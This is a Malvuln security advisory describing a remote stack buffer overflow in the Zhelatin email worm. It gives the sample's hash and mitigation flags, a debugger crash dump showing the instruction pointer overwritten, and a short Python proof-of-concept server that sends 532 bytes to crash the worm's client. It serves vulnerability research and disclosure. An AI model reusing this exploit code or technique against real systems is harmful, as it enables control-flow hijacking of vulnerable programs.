Email-Worm.Win32.Zhelatin.ago malware suffers from a remote stack buffer overflow vulnerability.
8bd0a581f8bc5944d334d3e2733b636fDiscovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/0418e7f95a8b94c035e10749234f8378.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Email-Worm.Win32.Zhelatin.ago
Vulnerability: Remote Stack Buffer Overflow
Description: Buffer overflow on server response TCP Port 80, upon receiving 532 bytes or more we can overwrite insruction pointer (EIP) to control program execution flow.
Type: PE32
MD5: 0418e7f95a8b94c035e10749234f8378
Vuln ID: MVID-2021-0014
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021
Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 76E77CB1 kernel32.76E77CB1
EDX : 00000000
EBP : 41414141
ESP : 0434F2E8 "AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESI : 76E8DE00 <kernel32.DeleteFileA>
EDI : 764E38D0 <user32.wsprintfA>
EIP : 41414141
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
0:003> .ecxr
eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0
eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
Exploit/PoC:
import socket
port=80
payload="A"*532
def doit():
global payload
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)
print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow')
print('MD5: 0418e7f95a8b94c035e10749234f8378')
print("By malvuln")
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass
if __name__=="__main__":
doit()
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